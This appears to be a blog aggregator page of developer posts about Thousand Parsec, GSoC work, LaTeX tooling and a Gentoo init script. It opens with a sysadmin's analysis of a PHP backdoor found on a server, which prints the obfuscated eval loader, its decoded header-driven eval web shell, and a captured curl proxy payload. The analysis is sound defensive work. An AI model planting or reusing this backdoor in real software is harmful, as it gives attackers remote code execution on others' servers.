Planet Thousand Parsec

July 13, 2010

AlanP - GSoC 2009

Unobfuscating an Attack

Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem.  One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:

access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Obviously, the IPs have been removed to protect the innocent.  What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening — and they look to come from our server.

After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs.  A remote machine would send requests to a group of servers hosting this PHP file:

$_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');

I have to give it to them, at least they obfuscated the code.  It took a while before I realized the extent of their hidden code.  Unobfuscating this file gives us:

$_fcxxxcc="preg_replace";
preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.')

Base 64 decoding this string gives us:

if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b'  and isset($_SERVER['HTTP_X_CODE']))
    @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])));

Finally, we’re getting somewhere!

Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system.  But, what kind of payload are they sending to their script?  Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for.  After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):

header("X_GZIP: TRUE");
header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17");
error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init();
curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15;
curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9")));
/* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */
curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:"";
curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=")));
// s:140:"http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";
$response=curl_exec($cr);
$md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info");
if(is_bool($response) and $response == false) {
    echo "<$md5_error>".curl_errno($cr)."|".curl_error($cr)."";
    exit;
}
echo "<$md5_info>".serialize(curl_getinfo($cr))."";
if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){
    $response="GZIP|".base64_encode(gzdeflate($response,9));
}
echo "<$md5_content>$response";
exit;

The definition of the curl_setopt call is as follows:

bool curl_setopt ( resource $ch , int $option , mixed $value )

Let’s break down all of the Curl options we are setting here.  Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:

  • Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
  • Option 19913 (CURLOPT_RETURNTRANSFER => “1″): Returns the value of curl_exec as a string.
  • Option 42 (CURLOPT_HEADER => “1″): Includes the header in the output.
  • Option 53 (CURLOPT_TRANSFERTEXT => “1″): Uses ASCII mode for FTP transfers.
  • Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
  • Option 19914 (CURLOPT_BINARYTRANSFER => “1″): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
  • Option 64 (CURLOPT_SSL_VERIFYPEER => “1″): Verifies the site’s SSL certificate to be valid.
  • Option 81 (CURLOPT_SSL_VERIFYHOST => “1″): Verifies the correct SSL hostname for the certificate.
  • Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
    • “Accept: */*”: Specifies that all media is acceptable for response from the HTTP request
    • “Accept-Language: en-us”: Specifies that we are looking for an English return.
    • “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
    • “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
    • “Expect: “: Indicates that no behavior is required by the client.
    • “Accept-Encoding: “: Indicates that we accept all encoding.
    • “Keep Alive: 115″: Sets a keep-alive timeout of 115.
    • “Referer: <cut for clarity:  see in source above>”: Sets a seemingly bogus referer, although this may be legit in some cases.
  • Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
  • Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
  • Option 10002 (CURLOPT_URL): Sets the URL to fetch.

If you would like to see a mapping of integer=>constant name for the curl curl options in PHP, you can find that here.

It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language.  In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.

I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.

References and Attributions:

  1. PHP: curl_setopt
  2. RFC2616: Hypertext Transfer Protocol — HTTP/1.1
  3. Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.

Share/Bookmark

by alanp at July 13, 2010 01:20 PM

June 04, 2010

AlanP - GSoC 2009

Double Dipping into Domaining

When I first read Andrew Badr‘s post on his tests with domain squatting^W speculation, I was immediately interested in the methods that he used.  Having checked out multiple domain speculation websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.

Coincidentally, I have been reading up on Python lately and have become pretty interested in the language.  For my first script implementation, I decided to explore the 4,4 space in English word .com domains.  I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.

Andrew used a method that included some manual work, which I wanted to avoid.  I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case.  I ended up with 3903 4-letter English words.  This space (3903^2) was far too large to start sending queries out, and also too large to manually edit.  What to do?

I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was.  After inserting each word and it’s relevance into a simple MySQL table, I was ready to begin hammering away to see what was available for registration.

Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database.  According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.

The results are pretty interesting, with many (what I would consider) top-term .com domains available.  Here are some of my favorites quickly off of the file (inb4registration):

  • thisholy.com
  • thatecho.com
  • homehide.com
  • homemeet.com
  • havethem.com

Can we do better?  Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix.  Tomorrow I will try using this information as a factor to my current heuristics.  I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable).  If you have any methods for improvement, I would like to hear them as well.  Leave a note in the comments section.

If there’s any interest, I will post my full list  (it’s hosted on my home computer).  There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.

Share/Bookmark

by alanp at June 04, 2010 05:33 AM

April 26, 2010

Greywhind - GSoC 209

What’s on tap for Leges Motus?

Well, Leges Motus v.0.3.0 is finally released! (Sorry about the delays – there were many things that got in the way of the release, both code-wise and project management-wise. But we’re past them now!)

But rather than rehash the new features (see the previous posts for those), I’m going to talk about what’s coming up.

We might take a long time to write 0.4.0 (yes, there will be another beta release before 1.0), but we’re going to try to make it worthwhile. We can’t promise any specific features will or will not get done, but here are some of the things I want to try to get in there:

1. Revamped internals. Over time, the initial design of some internal components has become a bit cumbersome. We created the original framework with quick and simple development in mind, but we now have goals that go far beyond the initial feature set. We want to separate the graphics from the game logic, so that we can create an AI client in the future. We also want to improve the GUI toolkit to make it easier to create dialog boxes and menus and such.

2. New weapons/functionality: I want to make two new weapons – a melee weapon that sends a pulse of energy out around the player to freeze nearby enemies, and a machine gun that must be charged briefly before it starts to fire (so it charges, fires a burst, and then needs to recharge). Additionally, I’d like to make the impact cannon fire in a small cone rather than just at a single point.

3. Menu art: We are hoping to recruit an artist we know to draw a nice menu screen background for us.

4. Keyboard settings and manual server connection menus: We want to allow users to easily change their keyboard bindings through the GUI, and to be able to connect to a server by typing in the IP address, if it’s not listed on the masterserver (currently, the latter can only be done using the command line arguments).

All of this will be a lot of work, especially when you include the smaller fixes and improvements. We’ll keep you posted.


by greywhind at April 26, 2010 11:17 PM

April 18, 2010

Thousand Parsec News

TPServer-cpp 0.7.0 released.

This release merges last year's GSoC projects of refactoring and MTSec, along with many bug fixes, BattleXML support, media support in Minisec and tidyer libltdl support.

TPServer-cpp 0.7.0 is on the downloads page and will be on our SF downloads page soon. The GIT repo is tpserver-cpp (branch master) and the tag is TPSERVER_CPP_0_7_0. Feedback and suggestions are always welcome.

by Lee at April 18, 2010 08:00 PM

March 22, 2010

Thousand Parsec News

Libtprl 0.1.3 released.

New version to catch up with compilers and changes in the last 3 years. Mostly small things but ezod has rewritten the tokenizing to work better. All 0.1.x releases should be interface compatible. Hopefully documentation makes it in soon.

Libtprl 0.1.3 is on the downloads page and will be on alternative hosting shortly. The Git repo is libtprl and the tag is LIBTPRL_0_1_3. Feedback and suggestions are always welcome.

by Lee at March 22, 2010 09:50 PM

March 15, 2010

ezod - GSoC 2008

The Princess Is In Another Castle

This blog has moved, so as to support better code highlighting and formatting and LaTeX math. Please move along to blog.mavrinac.com.

March 15, 2010 07:09 PM

February 13, 2010

Thousand Parsec News

GSoC 2009 wrap up

We've been a bit busy. Time for Thousand Parsec's wrap up for GSoC 2009.

Overall, GSoC went well, and lots of exciting work was done. We have a working webclient, a 3D battle viewer, big improvements to the main client, big improvements to the main server, MTSec ruleset working, and big improvements to the secondary python protocol library.

Individual project details are below, in no particular order.

tpclient-pywx improvements

Greywhind worked on improvements to tpclient-pywx. This include tp04 media parameter support, resource overlay updates for tp04, download threading fixes and improvements, design window now works correctly, much nicer object properties window and orders window. Some of the improvements involved changes to libtpclient-py and libtpproto-py.

See Greywhind's final report in his blog for more

3D battleviewer

Landon has done an awesome job on creating a 3D battleviewer. It has all sorts of cool effects, including firing and explosions.

There are screenshots on Landon's blog and, more appropriately, a video of the battleviewer on YouTube.

MTSec

The MTSec ruleset in tpserver-cpp wasn't much more than stubs before GSoC. Alanp spent his time making it into a proper working game. This includes much design and component work, importing them from XML file.

Alanp has a more details in his final report on MTSec in his blog.

Webclient

tote developed a webclient for Thousand Parsec, which me was able to get it working enought to play Minisec. This included log in and out, star/planet map, orders, messages and object details. Very impressive.

libtpproto2-py

libtpproto2-py is a different python implementation of the TP protocol, its most significant feature is that the protocol objects are generated from the XML description of protocol. cherez made a number of significant improvements to the library, including updating it for parameter groups and TP04. He also developed an extensive unit test suite for the library.

tpserver-cpp refactoring

This was a big project and epyon worked hard to refactor tpserver-cpp to make it more maintainable. This gives a smaller core to tpserver-cpp, using more boost and STL, and hopefully setting up other improvements in future such as ASIO.

Parsek client update

A bonus, thanks to the KDE project. mhilmi worked on updating Parsek to use the latest (pre-release) version of libtpproto-cpp. This flushed out a few bugs in the library, and greatly improved the Parsek client. It is certainly a lot closer to being usable, including the new libtpproto-cpp asynchronous support.

Screenshots and more info about Parsek are available on mhilmi's blog.

The future

Most of the code changes made this year in GSoC have been merged to the mainline of the various code modules. We are actively working on merging the others. Just about all will be included in the next release versions of the various components.

Google has annouced Summer of Code for 2010. We are intending to apply again as mentoring organisation, so now is a good time to get involved (as is any time).

by Lee at February 13, 2010 03:29 PM

January 19, 2010

Lee's Blog

Memcached and tpserver-cpp

At LCA yesterday I sat in on a miniconf presentation on memcached. It has inspired me to rewrite part of tpserver-cpp, to gut the Manager objects and use memcached instead.

But first I needed a library to make using memcached easier. The normal approach for C is to use libmemcached, but using C++ there are a few other options. Consistent with the development direction of tpserver-cpp, I was looking for a C++ library that is using boost, and especially boost::asio. I found two libraries, a better maintained one that doesn't do asynchronous networking and calls (memcache++, and one that does do asynchronous but hasn't been updated in over a year(memcacheasio). So for now, I'm going to use memcache++ with a short timeout, which should give an option of going to async in future.

January 19, 2010 07:51 PM

January 03, 2010

Mithro rants about stuff

Can haz kernel patches?

As it’s only a couple of weeks till another Linux.conf.au is underway, I thought I better post this draft from the last one! This year LCA is in Wellington, New Zealand, sadly I didn’t get my act together enough to make a proper holiday of it. I’m definitely looking forward to catching up with all the cool hackers at the conference.

One of the best talks I went to Linux.conf.au last year was the Ksplice talk. This is a wonderful tool which allows people to develop “hot patches” so that you never need to reboot again. The developers have done some very cool work which means for 88% of patches a hot fix can be generated automatically. The presenter was a really great speaker too, during the talk he explains some advanced concepts (like hot to fix-up memory structures) I was able to easily understand it all. I can’t watch until I never have to reboot my Linux machines again!

I also attended Rusty’s tutorial on hacking lguest. Two years ago I submitted a very important patch to lguest which is now included in the kernel. This year I didn’t get as far as I had wanted mostly because I had not gotten enough sleep the night before. I did however submit one patch which was accepted. I guess that makes me a kernel hacker :) .

Sadly, Rusty won’t be running another lguest tutorial this year, so it’s unlikely I’ll submit a third patch.

by mithro at January 03, 2010 03:05 AM

December 05, 2009

jmtan - GSoC 2008

Holiday coding

With the exams over, I finally have a bit of time to put into Thousand Parsec, at least until January :) After a conversation with mithro, I've decided to set the following goals:
  • The wxwidgets client now has a single-player mode built in, which can be ported into the 3d client.
  • The client uses version 3 of the thousand parsec protocol (tp03), whereas the current servers already support a new version (tp04). Upgrading the protocol used will allow us to deprecate the old one.
  • tp04 comes with some new features, such as media server support. This means that various media such as 3d models, music, icons and such related to a specific game can be downloaded from a server, instead of being packaged with the base client.
I'd love to add "write a build process for Windows, Linux and Mac binaries" to the list, but it's proved to be a huge timesink in the past and I'd like to concentrate on getting the functionality right first.

by Eugene Tan (noreply@blogger.com) at December 05, 2009 10:51 PM

November 15, 2009

ezod - GSoC 2008

LaTeX Preview with Vim and Evince

During a conversation (and a game of Scrabble) at the Google Summer of Code mentor summit, it came up that a few of us were LaTeX users, and we talked briefly about how it would be nice if there were some way to get a real-time preview the final document while editing in Vim. Here's my solution.

I use make to build PDFs of my LaTeX files. A typical makefile looks like this:

LATEX= latex
DVIPS= dvips -j0 -Ppdf -u ps2pk.map -G0 -t letter -D 1200 -Z -mode ljfzzz
PS2PDF= ps2pdf -dEmbedAllFonts=true -dSubsetFonts=true

NAME= foo
FIGURES= images/*.eps

all: $(NAME).pdf

$(NAME).pdf: $(NAME).ps
    $(PS2PDF) $(NAME).ps $(NAME).pdf

$(NAME).ps: $(NAME).dvi
    $(DVIPS) -o $(NAME).ps $(NAME).dvi

$(NAME).dvi: $(NAME).tex $(FIGURES)
    $(LATEX) $(NAME).tex; $(LATEX) $(NAME).tex

clean:
    rm -f *.dvi *.ps *.pdf *.aux *.log *.lof *.lot *.toc

Knowing that Evince updates its view automagically when a file changes, I just added a post-write hook to my ~/.vimrc to run make:

autocmd BufWritePost,FileWritePost *.tex !make

Now, whenever I write the file out, my Evince window updates with the latest output.

I haven't yet checked out Latexmk, which can supposedly effect similar results, and save me the trouble of maintaining a makefile to boot.

November 15, 2009 05:20 PM

November 12, 2009

ezod - GSoC 2008

Loggerhead Init Script for Gentoo

I just set up a Bazaar repository server at work. Gentoo has no official ebuild for Loggerhead, so I installed it from Mark Lee's Bazaar overlay. Unfortunately, this does not ship with an init script for serve-branches, so I wrote one.

The script is /etc/init.d/loggerhead (mode 755):

#!/sbin/runscript
# Copyright 1999-2009 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $

PIDFILE=/var/run/loggerhead.pid
LOGDIR=/var/log/loggerhead

depend() {
    need net
}

start() {
    ebegin "Starting loggerhead"
        start-stop-daemon --start --quiet --background \
        --make-pidfile --pidfile ${PIDFILE} \
        --exec /usr/bin/serve-branches -- --log-folder=${LOGDIR} \
        ${LOGGERHEAD_OPTS}
    eend $?
}                               
                                
stop() {                        
    ebegin "Stopping loggerhead"
        start-stop-daemon --stop --quiet \
        --pidfile ${PIDFILE}
    eend $?                 
}

This uses a single entry from /etc/conf.d/loggerhead:

LOGGERHEAD_OPTS="/var/bzr"

It seems to work. When I get the chance I may patch the ebuild to include it and suggest it to the maintainer.

November 12, 2009 07:12 PM

October 17, 2009

ezod - GSoC 2008

On Path and Edge Strengths in Fuzzy Graphs

How does one define the strength of a path in a fuzzy graph? Mathew and Sunitha state that "the degree of membership of a weakest [edge] is defined as [a path's] strength" without any apparent justification. Saha and Udupa mention that several measures, including sum, product, and minimum, all seem plausible, but also ultimately choose the minimum for their purposes (based on a set of axioms related to their problem domain).

However, many methods of combinatorial optimization which operate on weighted graphs assume that the weight of a path is simply the sum of the weights of the edges which comprise it. In order for me to use such methods unmodified, I must define edge weight in terms of edge strength, and define path weight using the sum. I cannot, therefore, define path strength directly, and certain definitions (including the apparently popular minimum-edge one) are impossible to achieve this way.

Naturally, since the weight represents a cost of some sort and smaller weights are more desirable, edge weight should be inversely proportional to edge strength μ. In FuzzPy, I simply take the inverse of μ, which I now realize is naïve. In fact, a more correct basic definition would be 1/μ - 1, so that an edge with μ = 1 would result in a weight of 0.

A model of pairwise camera field of view overlap in a multi-camera network (fuzzy vision graph) is built of generally intransitive binary relations: if camera A overlaps with camera B, and camera B overlaps with camera C, camera A does not necessarily overlap with camera C, and almost certainly not to the degree implied by a transitive fuzzy relation. This intransitivity is the final nail in the coffin for non-sum-based path strength definitions in my problem domain.

Returning to the definition of edge weight, now in the context of multi-camera networks, there is something missing. Forgive me a contrived example of a problem such as calibration optimization. Intuitively, a path of eight edges each with μ = 1 is likely to be less optimal than a path of a single edge with μ = 0.9, because the definition of μ does not fully encapsulate the pairwise calibration error (not least because the μ values are normalized). Should edge strength be defined as 1/μ - 1 + α, where α is some fixed accuracy (or other) cost for a single hop? My aforementioned naïve version (effectively, with α = 1) has been working reasonably well in experiments. However, this extra parameter is not intrinsic to the fuzzy vision graph model, and thus must be defined by the optimization application.

The rationale behind the fuzzy vision graph is that it is a "quick and dirty" model of a camera network's visual topology, and I think defining additional application-specific things like this α parameter at the optimization stage is appropriate.

October 17, 2009 09:29 PM

September 09, 2009

Greywhind - GSoC 209

Leges Motus Progress – Multiple Weapons, New Map Features

Well, it has been quite a while since I posted about Leges Motus. Sorry about that – we haven’t stopped working, I promise! (Although we took a break for a little while in August, we’re moving forward at a good rate now.)

There are a lot of new minor features and fixes coming up for Leges Motus 0.3.0, including bolding of important messages, italic and bracketed names for frozen players (for the partially colorblind, as we have had reports that frozen players can be hard to differentiate), and so forth.

Some of the really BIG new features, though, are more interesting to talk about:

First, multiple weapons. This is the most exciting one for me, because I see a world of possibilities opening up. (Also a lot of balancing, but that’s alright.) We’re adding some awesome new guns to the game, which you’ll be able to switch through and select, finding the right one for the situation. An example: there will be a gun that blasts a player backwards, freezing him for one second and causing 10 damage. This will be good for getting players away from your gate and giving your defense a moment of respite, for instance. There are a lot of different possibilities for guns, so this should open up a lot of gameplay potential.

We’re also mostly done with a bunch of new map obstacles and features. These include objects with gravity, friction, or hazardous effects, such as health damage or a brief freeze when you hit them. These can also be set to work against only one team, so the map creators have a lot of room for creativity in how to use them. Imagine, for example, a gate guarded by a corridor lined with hazardous obstacles, where the players have to navigate through with gun recoil alone. We’re still working on sprites for the new map objects – still interested in hearing from artists who might want to contribute.

Release date for 0.3.0 is still unknown. Quite a few things depend on new sprites. We’ll keep you posted.


by greywhind at September 09, 2009 10:57 PM

August 24, 2009

AlanP - GSoC 2009

GSoC/TP Final Report

It looks as if all features have been implemented in MTSec.  Since my last post I have done some cleaning up of the code, and it is much more presentable now.

All features are currently supported, this includes:

  • Building Ships
  • Building Weapons
  • Production Capability
  • Enhancement of Production Points
  • Sending of Production Points to Another Planet
  • Merging Fleets, Splitting Fleets
  • Colonising a Planet
  • Loading / Unloading of Armaments
  • Combat

For a more detailed description of each feature, you can visit the MTSec Wiki.  I will still be keeping up with MTSec development post-GSoC period and hope to iron out any bugs that have been found.  For example today I found that Aaron’s compiler was giving no newline errors, but mine was not.  With a simple bash for loop, this has been fixed and committed.

Testing each feature is pretty self explanitory but I will go over a test scenario:

  1. On the first turn, the “Build Fleet” order is a good one to try.  You can either use the design window in the TP04 client or use one of the predefined designs.
  2. On the second turn, it is useful to build some sort of weapon.  As with the build ships order, you can either pick from a predefined design or create your own.  Right now I have the mining requirements off so that we can test a bit easier.  You can create more than one weapon here which will be useful for testing.  Please note that you can only Design Weaponry using the TP04 pywx client (make sure you select the Weapons Category!)
  3. Now that you have (a) fleet(s),  and weaponry, it is useful to use the “Load Armament” order here to load the weaponry onto your ship.
  4. Move to another planet.
  5. Colonise the planet you moved to.
  6. Unload some weaponry here.
  7. Here you can test the enhance order.
  8. Test the “Send Points” order by sending some of your production points to another planet.
  9. Move towards another player’s planet/fleet.  This will initiate Combat
  10. Success.

If you find any problems in this test scenario, please notify me immediately.  Please note that some of the features above require Greywhind’s TP04 pywx client. My mentor Aaron and I will be playing some test games over the next week, and I’m sure we will uncover some things that I will need to fix.

That’s about it for MTSec, hopefully we can get it pushed into the master branch and make it the default game of Thousand Parsec soon!

Share/Bookmark

by alanp at August 24, 2009 03:05 AM

August 20, 2009

Greywhind - GSoC 209

GSOC 2009 Final Report

Summary

During this Google Summer of Code, I have worked on the wxPython Thousand Parsec game client, which was in need of an update to work with the project’s newest network protocol, named tp04. The servers were already configured to talk to a client using tp04, although I found a few server bugs and missing server features that required fixing and testing along the way. My goal was to have a working, playable client at the end of the summer that would allow real Thousand Parsec games to be played using tp04.

My full, detailed proposal can be viewed here.

Sub-goals

  1. Merge in changes since the tp04 branch, such as single player (tpclient-pywx + libtpclient-py + libtpproto-py)
  2. Starmap fixes to show new dynamic objects (tpclient-pywx)
  3. Multiple coordinates should be dealt with and displayed properly (tpclient-pywx)
  4. Easy viewing of new dynamic object properties (tpclient-pywx)
  5. Media support in the client (tpclient-pywx)
  6. Order panel reworking for multiple order queues (tpclient-pywx)
  7. Support for “aged” properties being shown differently (tpclient-pywx)
  8. Filter support in protocol, if not already implemented? (libtpproto-py)
  9. Frame version checking, if necessary. (libtpproto-py, or libtpclient-py?)

I opted, in the end, not to puruse the goal of implementing support for aged properties. It would be a far-reaching change that would currently have very little use in actual games.

As added goals, to replace those I decided not to implement or that were already finished:

  1. Improve media downloading support to allow threading.
  2. Centralize media download tracking in the client.
  3. Add a download panel that allows viewing and managing of downloads in progress.
  4. Fix order copy/paste in the order queue.
  5. Improve the information panel to show any kind of information (including images and interactive elements) in a collapsible, dynamic, organized format.
  6. Show an image for an object in a popup panel on the starmap when the object is hovered.
  7. Fix the design window to look better and have working functionality, whereas many buttons had been broken.

Progress towards goals

All of the goals other than those that were struck out as finished already or under the purview of another coder (the two that have been struck through, above), except for the aged properties, were completed during the course of the summer. This includes the seven additional goals that were added after the initial proposal. Although it it unfortunate that the aged properties had to be dropped, they were replaced by many more important and useful changes that would take less time to complete. This was agreed upon between myself and my mentor, Tim Ansell. I would, therefore, count this project as an overall success, as Thousand Parsec is now fully playable under at least three different rulesets using the tp04 version of the client. It also has a more effective and sharper looking GUI than the old version of the client, with enhanced information, design, and picture popup windows.

Details of progress, with screenshots

At the beginning of the summer, the client was mostly non-functional with tp04. You could select an object from a list of systems, and get some small amounts of information about it, but the starmap was blank, orders didn’t work, designs didn’t work, and so forth. All of these functions have been restored.

I have added per-object self-specified media support to the client. This is used in the starmap, the systems panel, the information panel, and the picture popup.

Several uses of media..

Seveal uses of media.

The various starmap overlays have also been fixed, showing systems and fleets correctly again. This includes the resource overlay, which was updated to work with the new dynamic property system.

The resources overlay, updated for tp04.

The resources overlay, updated for tp04.

